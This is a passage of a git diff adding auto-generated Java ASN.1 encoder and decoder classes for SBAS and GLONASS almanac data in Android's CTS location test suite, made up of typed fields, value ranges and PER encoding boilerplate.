+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmYgDot : "
+ + getSbasAlmYgDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmZgDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmZgDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmZgDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmZgDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmZgDot : "
+ + getSbasAlmZgDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmTo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmTo();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmToToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmToType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmTo : "
+ + getSbasAlmTo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmDataIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmDataIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmDataIDType() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmDataIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmDataIDType != null) {
+ return ImmutableList.of(TAG_sbasAlmDataIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmDataIDType from encoded stream.
+ */
+ public static sbasAlmDataIDType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmDataIDType result = new sbasAlmDataIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmDataIDType from encoded stream.
+ */
+ public static sbasAlmDataIDType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmDataIDType result = new sbasAlmDataIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmDataIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmHealthType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmHealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmHealthType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmHealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmHealthType != null) {
+ return ImmutableList.of(TAG_sbasAlmHealthType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmHealthType from encoded stream.
+ */
+ public static sbasAlmHealthType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmHealthType result = new sbasAlmHealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmHealthType from encoded stream.
+ */
+ public static sbasAlmHealthType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmHealthType result = new sbasAlmHealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmHealthType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmXgType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmXgType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmXgType() {
+ super();
+ setValueRange("-16384", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmXgType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmXgType != null) {
+ return ImmutableList.of(TAG_sbasAlmXgType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmXgType from encoded stream.
+ */
+ public static sbasAlmXgType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmXgType result = new sbasAlmXgType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmXgType from encoded stream.
+ */
+ public static sbasAlmXgType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmXgType result = new sbasAlmXgType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmXgType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmYgType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmYgType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmYgType() {
+ super();
+ setValueRange("-16384", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmYgType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmYgType != null) {
+ return ImmutableList.of(TAG_sbasAlmYgType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmYgType from encoded stream.
+ */
+ public static sbasAlmYgType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmYgType result = new sbasAlmYgType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmYgType from encoded stream.
+ */
+ public static sbasAlmYgType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmYgType result = new sbasAlmYgType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmYgType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmZgType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmZgType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmZgType() {
+ super();
+ setValueRange("-256", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmZgType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmZgType != null) {
+ return ImmutableList.of(TAG_sbasAlmZgType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmZgType from encoded stream.
+ */
+ public static sbasAlmZgType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmZgType result = new sbasAlmZgType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmZgType from encoded stream.
+ */
+ public static sbasAlmZgType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmZgType result = new sbasAlmZgType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmZgType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmXgdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmXgdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmXgdotType() {
+ super();
+ setValueRange("-4", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmXgdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmXgdotType != null) {
+ return ImmutableList.of(TAG_sbasAlmXgdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmXgdotType from encoded stream.
+ */
+ public static sbasAlmXgdotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmXgdotType result = new sbasAlmXgdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmXgdotType from encoded stream.
+ */
+ public static sbasAlmXgdotType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmXgdotType result = new sbasAlmXgdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmXgdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmYgDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmYgDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmYgDotType() {
+ super();
+ setValueRange("-4", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmYgDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmYgDotType != null) {
+ return ImmutableList.of(TAG_sbasAlmYgDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmYgDotType from encoded stream.
+ */
+ public static sbasAlmYgDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmYgDotType result = new sbasAlmYgDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmYgDotType from encoded stream.
+ */
+ public static sbasAlmYgDotType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmYgDotType result = new sbasAlmYgDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmYgDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmZgDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmZgDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmZgDotType() {
+ super();
+ setValueRange("-8", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmZgDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmZgDotType != null) {
+ return ImmutableList.of(TAG_sbasAlmZgDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmZgDotType from encoded stream.
+ */
+ public static sbasAlmZgDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmZgDotType result = new sbasAlmZgDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmZgDotType from encoded stream.
+ */
+ public static sbasAlmZgDotType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmZgDotType result = new sbasAlmZgDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmZgDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAlmToType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAlmToType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAlmToType() {
+ super();
+ setValueRange("0", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAlmToType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAlmToType != null) {
+ return ImmutableList.of(TAG_sbasAlmToType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAlmToType from encoded stream.
+ */
+ public static sbasAlmToType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAlmToType result = new sbasAlmToType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAlmToType from encoded stream.
+ */
+ public static sbasAlmToType fromPerAligned(byte[] encodedBytes) {
+ sbasAlmToType result = new sbasAlmToType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAlmToType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Almanac_ECEFsbasAlmanacSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
new file mode 100755
index 0000000..8aacd92
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
@@ -0,0 +1,2000 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Almanac_GlonassAlmanacSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Almanac_GlonassAlmanacSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Almanac_GlonassAlmanacSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Almanac_GlonassAlmanacSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Almanac_GlonassAlmanacSet != null) {
+ return ImmutableList.of(TAG_Almanac_GlonassAlmanacSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Almanac_GlonassAlmanacSet from encoded stream.
+ */
+ public static Almanac_GlonassAlmanacSet fromPerUnaligned(byte[] encodedBytes) {
+ Almanac_GlonassAlmanacSet result = new Almanac_GlonassAlmanacSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Almanac_GlonassAlmanacSet from encoded stream.
+ */
+ public static Almanac_GlonassAlmanacSet fromPerAligned(byte[] encodedBytes) {
+ Almanac_GlonassAlmanacSet result = new Almanac_GlonassAlmanacSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Almanac_GlonassAlmanacSet.gloAlmNAType gloAlmNA_;
+ public Almanac_GlonassAlmanacSet.gloAlmNAType getGloAlmNA() {
+ return gloAlmNA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmNAType
+ */
+ public void setGloAlmNA(Asn1Object value) {
+ this.gloAlmNA_ = (Almanac_GlonassAlmanacSet.gloAlmNAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmNAType setGloAlmNAToNewInstance() {
+ gloAlmNA_ = new Almanac_GlonassAlmanacSet.gloAlmNAType();
+ return gloAlmNA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmnAType gloAlmnA_;
+ public Almanac_GlonassAlmanacSet.gloAlmnAType getGloAlmnA() {
+ return gloAlmnA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmnAType
+ */
+ public void setGloAlmnA(Asn1Object value) {
+ this.gloAlmnA_ = (Almanac_GlonassAlmanacSet.gloAlmnAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmnAType setGloAlmnAToNewInstance() {
+ gloAlmnA_ = new Almanac_GlonassAlmanacSet.gloAlmnAType();
+ return gloAlmnA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmHAType gloAlmHA_;
+ public Almanac_GlonassAlmanacSet.gloAlmHAType getGloAlmHA() {
+ return gloAlmHA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmHAType
+ */
+ public void setGloAlmHA(Asn1Object value) {
+ this.gloAlmHA_ = (Almanac_GlonassAlmanacSet.gloAlmHAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmHAType setGloAlmHAToNewInstance() {
+ gloAlmHA_ = new Almanac_GlonassAlmanacSet.gloAlmHAType();
+ return gloAlmHA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmLambdaAType gloAlmLambdaA_;
+ public Almanac_GlonassAlmanacSet.gloAlmLambdaAType getGloAlmLambdaA() {
+ return gloAlmLambdaA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmLambdaAType
+ */
+ public void setGloAlmLambdaA(Asn1Object value) {
+ this.gloAlmLambdaA_ = (Almanac_GlonassAlmanacSet.gloAlmLambdaAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmLambdaAType setGloAlmLambdaAToNewInstance() {
+ gloAlmLambdaA_ = new Almanac_GlonassAlmanacSet.gloAlmLambdaAType();
+ return gloAlmLambdaA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmtlambdaAType gloAlmtlambdaA_;
+ public Almanac_GlonassAlmanacSet.gloAlmtlambdaAType getGloAlmtlambdaA() {
+ return gloAlmtlambdaA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmtlambdaAType
+ */
+ public void setGloAlmtlambdaA(Asn1Object value) {
+ this.gloAlmtlambdaA_ = (Almanac_GlonassAlmanacSet.gloAlmtlambdaAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmtlambdaAType setGloAlmtlambdaAToNewInstance() {
+ gloAlmtlambdaA_ = new Almanac_GlonassAlmanacSet.gloAlmtlambdaAType();
+ return gloAlmtlambdaA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmDeltaIaType gloAlmDeltaIa_;
+ public Almanac_GlonassAlmanacSet.gloAlmDeltaIaType getGloAlmDeltaIa() {
+ return gloAlmDeltaIa_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmDeltaIaType
+ */
+ public void setGloAlmDeltaIa(Asn1Object value) {
+ this.gloAlmDeltaIa_ = (Almanac_GlonassAlmanacSet.gloAlmDeltaIaType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmDeltaIaType setGloAlmDeltaIaToNewInstance() {
+ gloAlmDeltaIa_ = new Almanac_GlonassAlmanacSet.gloAlmDeltaIaType();
+ return gloAlmDeltaIa_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmDeltaTAType gloAlmDeltaTA_;
+ public Almanac_GlonassAlmanacSet.gloAlmDeltaTAType getGloAlmDeltaTA() {
+ return gloAlmDeltaTA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmDeltaTAType
+ */
+ public void setGloAlmDeltaTA(Asn1Object value) {
+ this.gloAlmDeltaTA_ = (Almanac_GlonassAlmanacSet.gloAlmDeltaTAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmDeltaTAType setGloAlmDeltaTAToNewInstance() {
+ gloAlmDeltaTA_ = new Almanac_GlonassAlmanacSet.gloAlmDeltaTAType();
+ return gloAlmDeltaTA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmDeltaTdotAType gloAlmDeltaTdotA_;
+ public Almanac_GlonassAlmanacSet.gloAlmDeltaTdotAType getGloAlmDeltaTdotA() {
+ return gloAlmDeltaTdotA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmDeltaTdotAType
+ */
+ public void setGloAlmDeltaTdotA(Asn1Object value) {
+ this.gloAlmDeltaTdotA_ = (Almanac_GlonassAlmanacSet.gloAlmDeltaTdotAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmDeltaTdotAType setGloAlmDeltaTdotAToNewInstance() {
+ gloAlmDeltaTdotA_ = new Almanac_GlonassAlmanacSet.gloAlmDeltaTdotAType();
+ return gloAlmDeltaTdotA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmEpsilonAType gloAlmEpsilonA_;
+ public Almanac_GlonassAlmanacSet.gloAlmEpsilonAType getGloAlmEpsilonA() {
+ return gloAlmEpsilonA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmEpsilonAType
+ */
+ public void setGloAlmEpsilonA(Asn1Object value) {
+ this.gloAlmEpsilonA_ = (Almanac_GlonassAlmanacSet.gloAlmEpsilonAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmEpsilonAType setGloAlmEpsilonAToNewInstance() {
+ gloAlmEpsilonA_ = new Almanac_GlonassAlmanacSet.gloAlmEpsilonAType();
+ return gloAlmEpsilonA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmOmegaAType gloAlmOmegaA_;
